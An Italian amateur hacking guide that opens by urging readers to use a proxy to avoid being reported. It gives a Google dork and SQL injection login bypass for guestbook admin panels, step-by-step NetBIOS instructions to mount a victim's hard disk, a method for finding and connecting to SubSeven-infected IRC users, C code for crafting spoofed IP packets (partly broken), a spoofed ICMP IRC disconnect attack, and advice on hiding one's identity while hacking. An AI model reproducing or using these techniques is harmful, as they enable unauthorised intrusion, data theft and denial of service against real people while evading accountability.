METTETE SEMPRE UN PROXY ALTRIMENTI VI SCOPRONO E POTRESTE RISCHIARE UNA DENUNCIA!!!!
HACKERARE I GUESTBOOK:
Per Hackerare i guestbook andare in GOOGLE e scrivere:
inurl:guestbook/admin/login.php
Alla schermata di login dell'admin del guestbook inserite questi dati:
USER: 'or 'jr7'='jr7' /*
PASSWORD: anything
ENTRARE IN UN HARD DISCK TRAMITE NETBIOS:
Prima di tutto l'ip della vittima deve avere la porta 139(ovvero netbios) APERTA!!
In questi esempi facciamo finta ke l'ip della vittima sia 1.2.3.4
Una volta ke avrete l'ip netbiossato fate questo:
1)Aprite il DOS* e scrivete cd c:windows(o dv avete la cartella windows c: d: ecc)
2)Scrivete Nbtstat -A IP vi usciranno diverse voci ad es:
NetBIOS Remote Machine Name Table Name TypeStatus
-------------------------------------------------------------
Gianluca.............<00> UNIQUE .............Registered
WORKGROUP.... . <00> UNIQUE........... . Registered
HALL9000............. <03> UNIQUE .............Registered
HALL9000 .............<20> UNIQUE .............Registered
WORKGROUP.... . <1E> UNIQUE............. Registered
3)Ora prendiamo il 1nome della lista e scriviamo nel DOS:Edit c:windowslmhosts
4)Una volta aperto l'edit inserite la seguente stringa:1.2.3.4GIANLUCA#PRE
Ricordate ke 1.2.3.4 è l'ip della vittima!
Il tag #PRE è fisso e va sempre messo, gli spazi sono fatti col TAB (non usate altro).
5)Salvate e uscite!
6)Riaprite il dos e scrivete cd c:windows
7)Scriviamo Nbtstat -R cn qst comando carikiamo lmhost
8)Vi dovrà uscire un messaggio!Se nn v esce avete sbagliato qlk!Nel mssg sta scritto qlk tipo cancellazzione nn so ke riuscita!
9)Una volta caricato lmhost scrivete Net View \Gianluca,vi usciranno tt la lista delle risorse condivise ad es:
CDisco
DDisco
EDisco
FDisco
GDisco
HPStampa
Esecuzione comando riuscita.
BINGO!!!!
10)Andate in RISORSE DI RETE e fate STRUMENTI-CONNETTI A UNITà RETE!
11)Assegnate una lettera al HARD DISK(b,e,f ecc)e inserite cm nome dell unità rete: \GianlucaC
abbiamo messo C sarebbe l'unita ke ha condiviso in qst caso il suo hard disk!
12)Fate OKe vi aprirà l'hard disk della vittima!!
Potrete usarlo cm 2 hard disk!Copiare cose incollare ecc!proprio cm se fosse il vostro
Bene!
Attenti a nn fa troppe cazzate
TROJAN HORSE:
Cos'è un trojan horse.
I trojan horse (cavalli di troia), o
semplicemente trojan, non sono esattamente virus, per cui se si usa un tool
antivirus difficilmente lo si individua.
Sono nati come strumenti atti a spiare
(violazione di privacy) e fondamentalmente rappresentano un mezzo per
controllare a distanza (controllo remoto) le risorse hardware e software di un
PC.
Con controllo remoto di un sistema si
intende che su tale PC sono effettuabili molte delle operazioni che possono
attuarsi direttamente davanti ad esso, ma a distanza.
Un trojan è costituito da due moduli
principali:
un programma server ed un programma client.
Il server è il programma di piccole
dimensioni che infetta un PC, cioè quando un PC è infetto da un trojan allora
significa che nel file system di quel PC è presente un programma trojan-server
installato che automaticamente si carica in memoria (vale a dire, si lancia in
esecuzione da solo).
Il client è invece il programma che usa il
"pirata" per controllare un PC quando questo è infetto da un trojan
(e solo in quest'ultima ipotesi).
Se un PC è infetto da un trojan, quando
questo viene connesso ad Internet, il server-trojan rimane nascosto (nel senso
che non ci si accorge che esiste, da cui il nome) e pronto per ricevere richieste
di connessione (e successivamente comandi) da parte di un qualunque PC in rete
che disponga di un programma trojan-client e che sia maneggiato da un qualunque
utente che non sia necessariamente un "pirata telematico".
I trojan sono molto diffusi, nel senso che
una gran percentuale dei nostri PC è infetta a nostra insaputa ed inoltre sono
di facile acquisizione nella grande rete sia i programmi che infettano che
quelli per il controllo di un PC infetto.
Solitamente vengono distribuiti insieme, sia il lato server che il lato client,
e per la maggiore sono programmi della categoria freeware.
Cosa succede se si ha il PC infetto da un
trojan e qualcuno si connette ad esso.
Praticamente puಠfar di tutto: dalla lettura di tutti i files personali sull'hard-disk
(tra cui la posta elettronica, le password,…), alla cancellazione di questi
(fino a distruggere tutto o parte del file system o comunque i files essenziali
per l'avvio di Windows e rendere così il PC inutilizzabile).
Puಠfare scherzi bizzarri (apertura dello
sportellino del CD-ROM, attivazione di suoni, scambio tasti del mouse, riavvio
del sistema,...).
Puಠascoltare ciಠche si digita dalla
tastiera, mentre si scrive una lettera o si dialoga in chat.
Come viene
infettato un PC da un trojan.
Il modo pi๠semplice per acquisire (nel
senso di infettarsi) un trojan è quello di scaricare un programma
apparentemente innocuo (un gioco, un'applicazione di qualunque tipo) dalla rete
che perಠdentro s੠nasconde anche un programmino trojan-server che si installa
nel PC a propria insaputa! Come succede per i virus, dopotutto.
Non basta perಠche tra questi files sia presente un trojan-server, ma bisogna
anche programmarlo in modo tale che questo si carichi in memoria all'avvio o
alla connessione del sistema della vittima, che sia fatto per via del registro
di configurazione o per via dei files di inizializzazione di Windows (alla
vecchia maniera!).
Come fare questo? Esistono programmi che
riescono ad integrare i contenuti di pachetti d'installazione comune con
programmi virus.
Come fa un "pirata" a sapere se
un PC è infetto da qualche trojan per connettersi ad esso.
Esistono programmi che effettuano la scansione delle porte di un IP (singolo
PC) o di un intervallo di domini IP (pi๠PC) per individuare su questi
l'esistenza di trojan-server pronti a ricevere comandi.
Questi programmi sono peraltro molto
diffusi e spesso sono inclusi direttamente nel programma di controllo di un
trojan (trojan lato client) e nei programmi di chat.
Esempio pratico
Ammettiamo che si voglia trovare in rete
una casuale vittima di un trojan SubSeven nella vs 2.1 (ALLO SCOPO DI AIUTARLO
AD ELIMINARE IL TROJAN CHE INFETTA IL SUO PC).
Procediamo perciಠper via indiretta, senza
sapere nulla a priori sul suo conto.
Le informazioni di cui necessitiamo in questo caso sono la consapevolezza che
su una macchina ci sia un SubSeven-server in ascolto sulla porta 27374 (porta
default per il trojan SubSeven) ed il suo indirizzo IP nella forma classica
xxx.yyy.zzz.www.
Innanzitutto conviene procurarci un programma di chat (IRC client) come
looksharp, costruito su mIRC.
Da qui, dopo aver impostato i soliti
parametri personali e quelli del nostro abituale server chat (ad esempio
irc.tin.it sulla porta 6667, conveniente se vogliamo accorciare i tempi di
individuazione dell'IP completo), passiamo ad impostare le funzioni di
scansione delle porte sulle macchine remote (in breve, in "General
Setup", alla scheda "XAPS", selezionare la casella
"ports" ed immettere manualmente "27374" nello spazio al
suo fianco, eliminando eventuali altre informazioni già presenti in tale
spazio).
Effettuiamo ora la connessione al server chat ed entriamo nei canali. La
scansione verrà effettuata automaticamente ed in modo trasparente a noi, che
nel frattempo chattiamo, sulle porte dei PC degli utenti presenti nei canali in
cui ci troviamo.
Appena rilevata una vittima del trojan SubSeven, apparirà una nuova finestrella
denominata "XAPS".
Da qui potremo leggere il suo nick ed il suo indirizzo IP. Se questo IP non è
nella forma xxx.yyy.zzz.www (tale puಠapparire in forma differente in
dipendenza dal provider server a cui tale utente è connesso) bisogna effettuare
la conversione nella forma voluta (selezionando il relativo nick nella lista
utenti di un canale in cui è presente e selezionando "DNS lookup" dal
men๠rapido che appare una volta cliccato esso con il tasto destro del mouse.
Dopo di cià², si potrà leggere e copiare il
suo IP nella forma voluta dalla finestrella "Status").
A questo punto potremo informare l'utente direttamente dalla chat che è infetto
dal trojan SubSeven e quindi domandargli il PERMESSO di accedere al suo sistema
per aiutarlo a rimuovere esso. Se concesso tale, si potrà aprire il
SubSeven-client, immettere l'IP trovato e impostare il numero di porta "27374".
Cliccato su "connect", potrebbe essere richiesta una password, nel
qual caso potremo rispondere con "cancel".
La connessione potrebbe essere ora attiva.
Nel men๠del SubSeven, selezioniamo "connection", andiamo alla
sezione "server option" e clicchiamo su "remove server".
Dopo una conferma di esecuzione dell'operazione avremo portato a termine la
nostra buona azione!
I protocolli TCP/IP e le porte.
I sistemi connessi ad Internet comunicano
tra di loro utilizzando delle regole; queste regole sono racchiuse e definite
nel protocollo TCP/IP, o meglio, nel pacchetto di protocolli TCP/IP.
In base a tale protocollo, affinchà© un PC
si possa connettere ad un altro PC (o sistema informatico, in generale) è
necessario che esso conosca l'indirizzo IP (es. 62.120.184.7) della macchina
remota e la porta sulla quale essa è in ascolto (cioè pronta ad accettare
comandi).
Per quanto definito nel protocollo TCP/IP,
ogni sistema dispone di all'incirca 65.000 porte (numerate da 0 a 65.000); per vederla in
analogia ai sistemi radiofonici, una porta è comparabile alla frequenza di un
canale sulla quale ci si deve sintonizzare per ascoltare una specifica
emittente.
Un centinaio di queste porte sono riservate
(vale a dire, già assegnate dal protocollo TCP/IP a programmi e comandi), le
altre tutte libere e disponibili.
I trojan horse.
I trojan noti sono centinaia, ma tutti con
le stesse caratteristiche.
Ognuno di essi è costituito dalla coppia di
programmi client-server.
Quando un PC è infetto da un trojan, allora
significa che tra i files del suo hard-disk è presente una copia di programma
trojan-server.
Questo programma va in esecuzione quando si
avvia il PC ed inizia ad operare (e diventare una minaccia) alla connessione
del PC in rete.
A questo punto il trojan-server resta in
ascolto sulla porta per cui è stato programmato nell'attesa di ricevere
comandi.
Solitamente i trojan operano su porte
predefinite (es. il trojan NetBus1.x sulla porta 12345/12346, il trojan
NetBusPro sulla porta 20034, il trojan SubSeven sulla porta 27374,...) ma
questa non è una regola.
Un trojan-server puಠanche essere protetto
da una password, questo per permettere l'accesso ed il controllo di un PC
infetto in maniera limitata e non da parte di un qualunque "hacker"
alla ricerca casuale di prede.
La connessione ad un PC infetto puà²
avvenire solo utilizzando il rispettivo programma client (ad esempio, se un PC
è infetto dal trojan SubSeven, occorrerà utilizzare il SubSeven-client per
potersi connettere e controllare tale PC).
Come ci si accorge
se il proprio sistema è infetto da un trojan.
Un primo metodo per individuare un trojan
nel proprio sistema è quello di utilizzare dei semplici programmi che
monitorano le porte del PC quando questo è connesso ad Internet.
Questi programmi sono solo informativi, cioè elencano le diverse porte in
ascolto o attive in un dato istante e da qui bisogna individuare se tra queste
ce ne sia qualcuna sospetta: non è sempre molto semplice capire dal solo numero
di porta se esiste un trojan nel proprio sistema. (NukeNabber)
Un secondo metodo è quello di utilizzare
programmi simili ma attivi, cioè capaci di individuare in maniera automatica
richieste di connessione sospette. (CheckBO)
Un metodo pi๠affidabile è quello di
utilizzare un firewall locale che controlla l'intero flusso di comunicazione
da/verso la rete e garantisce un grado di sicurezza molto elevato non solo nei
riguardi dei trojan. (ZoneAlarm)
Come si elimina un trojan dal proprio sistema.
Esistono programmi anti-trojan, simili nel comportamento
agli anti-virus. Questi possono scandire l'intero hard-disk o parte di esso
alla ricerca di trojan-server istallati in un PC e comprendono anche task
residenti in memoria per individuare in tempo reale l'insinuarsi di un trojan
nel PC.
Una volta eliminati tutti gli eventuali trojans presenti
sul proprio PC non ci sarà pi๠nessun rischio che qualcuno si possa connettere
al nostro PC e non sarà allora pi๠necessario monitorare le porte. (BackWork)
E' anche possibile rimuovere un trojan a
distanza: dopo che si è individuata una vittima e ci si è connessi utilizzando
un trojan-client, questo programma dispone di solito anche di comandi per
eliminare a distanza il trojan-server che infetta il sistema remoto.
Il Famoso attacco sfruttando l'IP Spoofing:
Il
protocollo TCP/IP, dalla sua comparsa ad oggi, e' stato analizzato dal
punto di vista della sicurezza, delle performance, dell'ottimizzazione
e degli stati indefiniti in maniera molto profonda. Nel corso del tempo
varie vulnerabilita' sono state scoperte, sia nel protocollo in se',
che nelle varie implementazioni disponibili (ossia gli stack TCP/IP dei
sistemi operativi). Tuttavia, una implementazione ben pensata del
TCP/IP, e' ancora in grado di fornire buoni livelli di sicurezza nel
caso in cui siano state prese tutte le precauzioni necessarie.
****L'IP spoofing attack*****
Per
chi si avvicina al mondo della sicurezza, l'attacco conosciuto come "IP
spoofing" e' spesso fonte di confusione. L'equivoco sta nel fatto che
col termine "IP spoofing" si indicano due attacchi distinti: il primo
consiste nello spedire dei pacchetti IP aventi l'indirizzo sorgente
contraffatto, l'altro nell'utilizzo del primo attacco per costruirne
uno piu' complesso, conosciuto come "blind spoofing", ovvero spoofing
alla cieca. Qui vedremo in dettaglio il primo dei due attacchi.
L'IP spoofing e' una tecnica che consiste nell'inviare dei pacchetti
opportunamente
'modificati' per far credere al destinatario, che gli stessi arrivino
da tutt'altra parte e, quindi, per rendersi 'anonimi' (o meglio
spacciarsi per qualcun altro) agli occhi della "vittima". Questo si
ottiene modificando l'indirizzo IP sorgente(source IP) nell' header
(intestazione) del pacchetto (datagramma IP). L'IP spoofing viene
utilizzato per molti attacchi sia di tipo D.o.S. (Denial of Service,
attacchi che possono mettere fuori uso, bloccare o rallentare il
sistema momentaneamente... fastidioso ma non provoca danni gravi), sia
per il tipico Hacking (attacchi molto piu' interessanti che possono
permettere di guadagnare particolari accessi nei sistemi) e utilizzato
sia in modo diretto (attaccando cioe' direttamente il sistema che
riceve i pacchetti spoofati), sia in modo indiretto (sfruttando cioe'
le risposte che la macchina destinataria dello spoof invia al presunto
mittente). Gli attacchi D.o.S. che si possono realizzare cmq sono
molti: dai vari flood (syn flood, rst flood) al click, al boink ecc.
Oppure, se proprio si vuole avere la comunicazione bilaterale, si
potrebbe tentare di instaurarla alla ceca, cercando di prevedere le
varie risposte della vittima ai nostri pacchetti, e rispondendo a
nostra volta in modo adeguato (assicurandoci pero' che l'IP da noi
spoofato sia in quel momento irraggiungibile e non possa quindi
rispondere anche lui alla vittima (che, sta inviando pacchetti
all'indirizzo da noi spoofato).
Uno schemino chiaro che riassume
l'IP spoofing (e si trova su praticamente tutti i documenti che
trattano IP spoofing), e' all'incirca questo:
host A <---------------->X<--------------> host B
|
host S ---------------->/
in
cui: noi siamo host S, il bersaglio del nostro attacco e' host B e il e
l'indirizzo sorgente che metteremo nell'header dei pacchetti al posto
del nostro, corrisponde al'indirizzo di host A. Come si puo' realizzare
lo spoofing? Be' per farvi un idea, un programma che lo realizza e che
probabilmente avrete utilizzato qualche volta e' il famoso Click della
7th sphere... che fa esattamente questo: Ipotizziamo un tipico attacco
D.o.S. da lamer in IRC. Secondo lo schemino che c'e' li sopra: se noi
siamo host S e vogliamo disconnettere host B dal server IRC host A (un
server a caso irc.tin.it hihihi) che facciamo? Impostiamo il Click con
i giusti dati e scegliamo tra il modo client side oppure server side,
quindi lanciamo l'attacco. Mettiamo di aver scelto l'attacco client
side....
Succede che il Click comincia a mandare a host B
pacchetti ICMP spoofati aventi come indirizzo sorgente host A (server
IRC) e come contenuto una frase del tipo "Sono Esploso!!". ("host
unreachable") Host B (vittima) a questo punto riceve questa
'lettera/pacchetto' proveniente da Host A (server IRC), legge il
messaggio e realizza che host A (server IRC) e' esploso .. quindi
pensa: "che cavolo ci rimango connesso a fare a un indirizzo di server
che non c'e' piu' perche' e' esploso?" a questo punto si disconnette.
L'attacco e' realizzato, host B e' disconnesso da IRC. Nel caso
avessimo scelto il modo di attacco server side, il procedimento e'
uguale ma i pacchetti vengono mandati a host A (server IRC) e
provenienti da host B (vittima), quindi e' il server IRC che scollega
host B credendolo 'esploso'. Questo e' solo un esempio di attacco. In
effetti, sfruttare appieno l'IP spoofing (anche per cercare di far
qualcosa
in piu' dei tipici D.o.S.), significa soprattutto potersi
costruire i pacchetti da inviare, su misura.. a seconda del tipo di
attacco che vogliamo realizzare. Questo risulta piu' facile da ottenere
ad esempio su sistemi Linux che su Winzozz 9x, pero' per questi ultimi
potreste utilizzare programmi appositi (ad esempio exploit generator)
che funzionano abbastanza bene.
Come si fa a mandare un pacchetto spoofato?
Beh,
ci sono modi e modi. Da Unix & Company e' molto facile: basta
creare un socket RAW (un socket *molto* grezzo) e lavorarlo mettendoci
sopra degli header IP e TCP (ma anche UDP o ICMP) non standard, cioe'
come quelli che si trovano nelle librerie net*. Infatti, nel nostro
header IP dovremmo mettere anche l'ip del mittente, cosa che invece con
le normali funzioni di sending viene automaticamente fatta dal
protocollo usato.
In principio si crea un bell'header ip tipo:
struct ipheader {
unsigned char verlen, tos; //versione+lunghezza header, tipo
unsigned short lenght, identification, flageoffset; //lunghezza, id, flags+offset
unsigned char ttl, protocol; //time to live, protocollo utilizzato
unsigned long int source, destination; //indirizzo ip sorgente, destinazione
};
ecco, bello vero?
Se esaminate attentamente vedrete:
* un char (8 bit) che include sia la versione ip che la lunghezza dello
header (contenitori a 4 bit non li so trovare io in c...)
* un char (8 bit) per il tipo di servizio (TOS)
* uno short (16 bit) per la lunghezza, uno per l'identificazione e uno
che include i 3 bit dei flag e i 13 del fragment offset
* un altro char per il time to live, ovvero su quanti server pu• passare prima di fermarsi
* un altro char che identifica il protocollo
* due long (32 bit) che identificano l'ip sorgente e quello di destinazione
Per agevolarci ora creeremo uno pseudo ip header:
struct pseudoipheader {
unsigned long int source, destination;
char byte_zero, protocol;
unsigned short TCP_UDP_lenght;
};
qui abbiamo l'ip sorgente, destinazione, il byte zero, il protocollo
utilizzato e la lunghezza del tcp o dell'udp.
Ora veniamo ai protocolli TCP e UDP:
struct tcpheader {
unsigned short source, destination;
unsigned long int seq, ack;
unsigned short offset_flags, window, checksum, urgent;
};
da
notare che i source e i destination sono non degli indirizzi, ma delle
porte (short a 16 bit), qui dovete mettere la porta sorgente e quella
destinazione, insomma. Poi c'e' il SEQ e l'ACK, interi a 32 bit, e
infine abbiamo l'header lenght + reserved + flags, window, il checksum
e l'urgent pointer. Ecco qui anche quello dell'udp, giusto per
facilitarvi la vita
struct udpheader {
unsigned short source, destination, lenght, checksum;
}
Tutto chiaro no? E per finire si crea uno struct di scambio di dati spoofati, anche questo per facilitarci la vita...
struct spdataexchange {
int fd;
char *data;
int datalen;
char *source;
unsigned short sourceport;
char *destination;
unsigned short destinationport;
unsigned long seq, ack;
unsigned short flags;
char *buffer;
int ip_optlen, tcp_optlen;
}
In
questo struct copieremo i dati ip e tcp e tutto il resto, per poi
scriverlo sul pacchetto da inviare... Ora, come facciamo ad inviare un
pacchetto??? Creeremo una funzione detta sendsppacket:
void sendsppacket(struc spdataexchange *sp, unsigned char protcollo)
{
int sp_status;
struct sockaddr_in *sp_serv;
struct hostent *sp_help;
int HEADER_BASE;
bzero((char *)&sp_serv, sizeof(struct sockaddr));
sp_serv.sin_family = AF_INET;
sp_serv.sin_addr.s_addr = inet_addr(sp->destination);
if(sp_serv.sin_addr.s_addr==(unsigned int)-1)
{
if(!(sp_help=gethostbyname(sp->destination)))
fprintf(stderr,"unknown host %sn",sp->destination), exit(1);
bcopy(sp_help->h_addr,(caddr_t)&sp_serv.sin_addr,sp_help->h_lenght);
}
switch(protocollo)
{
case TCP: HEADER_BASE = TCP_HEADER_BASE; break; //Spiego sotto questi passaggi
case UDP: HEADER_BASE = UDP_HEADER_BASE; break;
case default: exit(1); break;
}
sp_status = sendto(sp->fd, (char *)sp->buffer, sp->datalen+HEADER_BASE+
IP_HEADER_BASE+sp->ip_optlen, 0, (struct sockaddr *)&sp_serv,
sizeof(struct sockaddr));
if((sp_status < 0) || (sp_status!=sp->datalen+HEADER_BASE+IP_HEADER_BASE+sp->ip_optlen))
{
if(sp_status < 0)
perror("sendto()n"), exit(1);
printf("Trasmessi soltanto %d bytes di %dn", sp_stat, sp->datalen+HEADER_BASE+IP_HEADER_BASE+sp->ip_optlen);
}
}
Bene,
con questa funzione mandiamo i pacchetti che abbiamo creato... Dopo i
procedimenti di routine si tenta di risolvere l'host di destinazione,
se non si riesce si esce (splendido gioco di parole...), se invece
l'host esiste si copia nel "sp_serv.sin_addr". Poi si vede il
protocollo: TCP e UDP ve li definite prima con #define (TCP 6 e UDP
17), se e' tcp l'header_base sara' ovviamente la lunghezza della
dimensione minima dell'header tcp(20), se e' udp
quella dell'udp (8)
e se e' altro esce
, l'ip e' 20. Poi si manda il pacchetto spoofatorealizzato prima, e si vede se il risultato e' positivo o meno, quanti
bytes sono stati inviati, eccetera. La lunghezza naturalmente e' la
lunghezza dei dati+l'HEADER_BASE definito prima+la lunghezza
dell'header ip (20) + la lunghezza delle opzioni ip. 500 righe! Uff!
Che fatica... Dovremmo esserci... Per fixare i vostri header IP e TCP,
ci sono due pratiche(ALLA FACCIA!) funzioni:
void sp_fix_IP_packet(struct spdataexchange *sp, unsigned char protocollo)
{
struct ipheader *sp_help_ip;
int HEADER_BASE;
switch(protocollo)
{
case TCP: HEADER_BASE = TCP_HEADER_BASE; break;
case UDP: HEADER_BASE = UDP_HEADER_BASE; break;
case default: exit(1); break;
}
sp_help_ip = (struct ipheader *)sp->buffer;
sp_help_ip->verlen = (IP_VERSION << 4) | (IP_HEADER_BASE+sp->ip_optlen+sp->tcp_optlen);
sp_help_ip->tos = 0;
sp_help_ip->lenght = htons(IP_HEADER_BASE+HEADER_BASE+sp->ip_optlen+sp->tcp_optlen+sp->datalen);
sp_help_ip->ID = htons(12545);
sp_help_ip->flageoffset=0;
sp_help_ip->ttl = 69; //miseria! Non deve morire prima del previsto...
sp_help_ip->protocol = protocollo;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->destination);
sp_help_ip->checksum = in_cksum((unsigned short *) (sp->buffer),
IP_HEADER_BASE+sp->ip_optlen);
}
Questa
e' per l'ip... e' molto intuitiva, e' inutile che ve la spieghi.
Attenzione, la funzione sp_getaddrbyname(char *) non ve la scrivo, ve
la spiego brevemente: usate un HOSTENT, nel caso in cui l'host debba
andare risolto. Se l'host e' gia' numerico, si verifica l'esistenza e
si ritorna il valore long della medesima. Se invece non e' numerico,
tentiamo di risolverlo e se ci riusciamo si puo' benissimo ritornare il
valore long dell'host, altrimenti si da come risultato 0. Per fixare
l'header TCP:
void sp_fix_TCP_packet(struct spdataexchange *sp)
{
char *pseudo_ip_construct[1500];
struct tcpheader *sp_help_tcp;
struct pseudoipheader *sp_help_pseudo_ip;
int i;
for(i=0;i<1500;i++)
pseudo_ip_construct=0;
sp_help_tcp = (struct tcpheader *) (sp->buffer+IP_HEADER_BASE+sp->ip_optlen);
sp_help_pseudo_ip = (struct pseudoipheader *) pseudo_ip_construct;
sp_help_tcp->offset_flags = htons((((TCP_HEADER_BASE+sp->tcp_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq = sp->seq;
sp_help_tcp->ack = sp->ack;
sp_help_tcp->source = htons(sp->sourceport);
sp_help_tcp->destination = htons(sp->destinationport);
sp_help_tcp->window = htons(0x7c00);
sp_help_pseudo_ip->source = sp_getaddrbyname(sp->source);
sp_help_pseudo_ip->destination = sp_getaddrbyname(sp->destination);
sp_help_pseudo_ip->zero_byte = 0;
sp_help_pseudo_ip->protocol = TCP;
sp_help_pseudo_ip->TCP_UDP_lenght = htons(sp->datalen+TCP_HEADER_BASE+sp->tcp_optlen);
memcpy(pseudo_ip_construct+12,sp_help_tcp,sp->datalen+TCP_HEADER_BASE+sp->optlen);
sp_help_tcp->checksum = in_cksum((unsigned short *)pseudo_ip_construct,
sp->datalen+12+TCP_HEADER_BASE+sp->tcp_optlen);
}
Ecco
qua! Ultimo appunto: la in_cksum e' una funzione che potete trovare
dappertutto, anche sul ping.c o su uno dei vari nuker... Non mi dilungo
anche sull'UDP (ma questa e' discriminazione razziale!
), ancheperche'‚ se conoscete bene il C (spero, altrimenti che avete fatto,
avete letto fin qua senza capire un c***o???) e' molto intuitiva da
realizzare... Se rimanete nel dubbio, pero', leggetevi i sorgenti di
spoofit.h, una libreria che mi ha ispirato non poco. Non ricordo il
nome dell'autore, un attimo... Ah, si: Bretch Claerhout.
NOTICINA:
se non vi va di scrivervi gli header ip, tcp e/o udp a da soli, li
potete semplicemente aggiungere queste righe all'inizio del codice
#include //contiene lo struct per lo header ip
#include //contiene quello per il tcp
#include //e quello per l'udp
ma se ve l'avessi detto prima avreste potuto comprendere come e' formato un header ip???
I
pacchetti IP (il protocollo che si occupa della consegna dei
datagrammi) possiedono un campo che contiene l'indirizzo sorgente ed
uno che contiente l'indirizzo di destinazione. Ai fini del routing solo
il secondo dei due indirizzi ha importanza. E' per questo motivo che in
condizioni normali (mancanza di ACL) e' possibile spedire dei pacchetti
IP che "sembrano" provenire da un qualunque IP. In altre parole, in
mancanza di un protocollo di livello superiore che autentica la
sorgente dei pacchetti IP, e' impossibile essere certi del fatto che
l'indirizzo sorgente appartenga effettivamente all'host che li ha
spediti. Immaginate un servizio di rete che utilizza il protocollo UDP
per eseguire operazioni sul server su cui gira, ad esempio lo shutdown
della macchina. Questo fantomatico ed insicuro protocollo (che e'
assolutamente di mia fantasia, ma esempi simili si possono trovare in
applicazioni reali) aspetta un pacchetto UDP contenente il comando
"SHUTDOWN" da un particolare indirizzo, ammettiamo 1.2.3.4: tutti i
pacchetti provenienti da altri indirizzi vengono scartati. Se non fosse
possibile praticare l'IP spoofing solo l'host 1.2.3.4 sarebbe in grado
di eseguire lo shutdown su quel server, di fatto invece chiunque puo'
spedire un pacchetto come quello mostrato sotto.
---------------------------
| (INTESTAZIONE IP) |
| --------- ----------- |
| |1.2.3.4| - |IP SERVER| |
| --------- ----------- |
| |
|...RESTANTE IP HEADER... |
| |
| SHUTDOWN |
---------------------------
L'esempio,
anche se di pura fantasia, mostra chiaramente che affidarsi ad una
"trusted-relationship" che si basa sull'indirizzo IP, nel caso di
protocolli non connessi, non e' affatto una buona idea. Quale sarebbe
il modo corretto di disegnare il nostro shutdown-protocoll? Una delle
possibilita' e' quella di cambiare il protocollo in modo che il server,
invece di eseguire direttamente il comando, aspetti un pacchetto UDP
contenente la stringa "AUTH". Se il pacchetto non proviene da uno degli
IP autorizzati non si cura la della richiesta, alrimenti spedisce un
pacchetto che contiene un numero pseudo-casuale al client e si mette in
attesa di un comando. Il client dovra' rispondere con un pacchetto
formato dal numero casuale che ha ricevuto dal server seguito dal
comando, ad esempio "2390-SHUTDOWN". Questo protocollo ci salva dall'IP
spoofing (nel caso in cui l'attacker non e' posto fisicamente tra il
server ed il client, altrimenti ha la possibilita' di leggere il numero
randomico e costruire il pacchetto con il comando), ma devono essere
prese opportune precauzioni; il generatore dei numeri pseudocasuali
deve essere "cryptographycally secure", ovvero possedendo una serie di
output R1, R2, R3, RN, l'attacher non deve essere in grado di predire
gli elementi successivi della sequenza (la funzione rand(3) della libc
non e' un generatore sicuro, e' un generatore lineare congruenziale
facilmente predicibile). La seconda condizione e' che il numero pseudo
casuale sia abbastanza grande da non permettere all'attacher di montare
un attacco di forza bruta in un tempo ragionevole. Come gia' detto,
questo protocollo ipotizza che l'attacker, anche se non in grado di
spedire pacchetti provenienti dall'indirizzo (ad esempio) 1.2.3.4, non
sia in grado di intercettare le risposte che sono dirette all'host
1.2.3.4 (di solito su internet questo e' vero, sulle reti locali il
discorso e' diverso). E' per questo che solo il client che possiede il
giusto IP sara' in grado di vedere la risposta spedita dal server,
contenete il numero pseudo-casuale.
Con tecniche di IP spoofing si riesce facilmente a falsificare l'indirizzo IP di una macchina?
In
altre parole: Se faccio il traceroute dell'indirizzo finto, dovrei
comunque riuscire a risalire la catena dei router attraversati fino al
finto, oppure risalgo la catena fino all'IP vero?
Si fa il
traceroute VERO dell'indirizzo FINTO. In teoria, se i vari routers
avessero un po' di ingegno, non si potrebbe fare neanche spoofing (o
quasi).
In pratica puo' succedere questo:
A(F) ---> B ---> C ---> D
/
F ---> E --->--+
A
ti manda un pacchetto fingendosi F. B, che controlla la sottorete A, ed
in teoria non dovrebbe veder passare pacchetti DA F verso "NON A",
invece passa questo strano pacchetto "F verso D". Lo stesso fa C, che
"dovrebbe" vedere arrivare i pacchetti di F solo da E (ma C non puo'
sapere se F sia anche collegato o no a B). D si vede arrivare un
pacchetto da un certo "F" che arriva da "C", di cui si fida e che in
passato gli ha mandato pacchetti veri di F.
Un traceroute D-->F rivela: D, C, E, F ... B e A sono rimasti fuori.
E'
possibile naturalmente sapere se F stia originando una connessione con
D. A non puo' impedirlo. Pero', sapere che quel pacchetto "F->D" e'
spoofato non ti fa trovare A.
Diversi Metodi per rimanere ANONIMI in rete!:
0x00.0 ANONIMATO
================
Prima di effettuare qualsiasi operazione e'necessario sapere come nascondersi
nella Rete. Questo non garantira' l'anonimato completo, ma rendera' piu'
difficile il compito di chi deve trovarci.
In questo articolo, esplicitamente rivolto ai newbbissimi, prenderemo in
considerazione tutti i passaggi di una connessione Internet, dalla chiamata
telefonica ai diversi "rimbalzi" sugli host della rete.
Prima di effettuare qualsiasi tipo di "esperimento" consiglio di leggere
completamente il documento, compresa la sezione "Pericoli".
0x00.1 CLI & BIC
----------------
Dove CLI sta per "Caller Line Identification" e BIC per "Blocco identificazione
chiamante". Chiaramente stiamo parlando del collegamento telefonico. Il primo
passo verso Internet e' la connessione dial-up con l'ISP (Internet Service Provider)
Da alcuni mesi e' disponibile anche in Italia il CLI, ovvero l'invio del numero
del chiamante; questo significa che chi riceve la vostra chiamata e' in grado
di vedere in tempo reale il numero del chiamante.
Per evitare che questo avvenga, e' disponibile il "Blocco identificazione chiamente",
che disabilita (parzialmente) questa possibilita'.
Mettendo il numero 1793 (o *67#) davanti al numero da chiamare, si inibisce
la possibilita' di visualizzare il nostro numero sul display del ricevente,
ma non l'invio dello stesso alla centrale Telecom; questo significa che
comunque sui tabulati della telco sara' registrata la telefonata dalla vostra
utenza all'ISP, quel giorno a quell'ora...
0x00.2 Account falsi
--------------------
Scenario: voi state "hackerando" con l'account dell'abbonamento che vi hanno
regalato; vi siete registrati con il vostro nome (Mario Rossi) e vi siete
collegati al computer del Pentagono... il sysadmin si accorge di un ip strano
collegato al sistema (il vostro ip!), esegue un traceroute sul vostro ip,
prende nota del penultimo hop e si collega sulla porta 79 di quell'host
(il vostro gateway):
users online
---------------
mrossi@tin.it 212.216.200.123
Mezz'ora dopo l'FBI e' a casa vostra e suona il campanello...
Questa storiella ci insegna che non e' buona abitudine hackerare con l'abbonamento
che abbiamo registrato con il nostro nome e i nostri dati anagrafici.
Da quando sono nati i free-internet provider (Libero,Tiscali) la situazione e'
alquanto migliorata (non che prima fosse fosse molto piu' complicata...); si
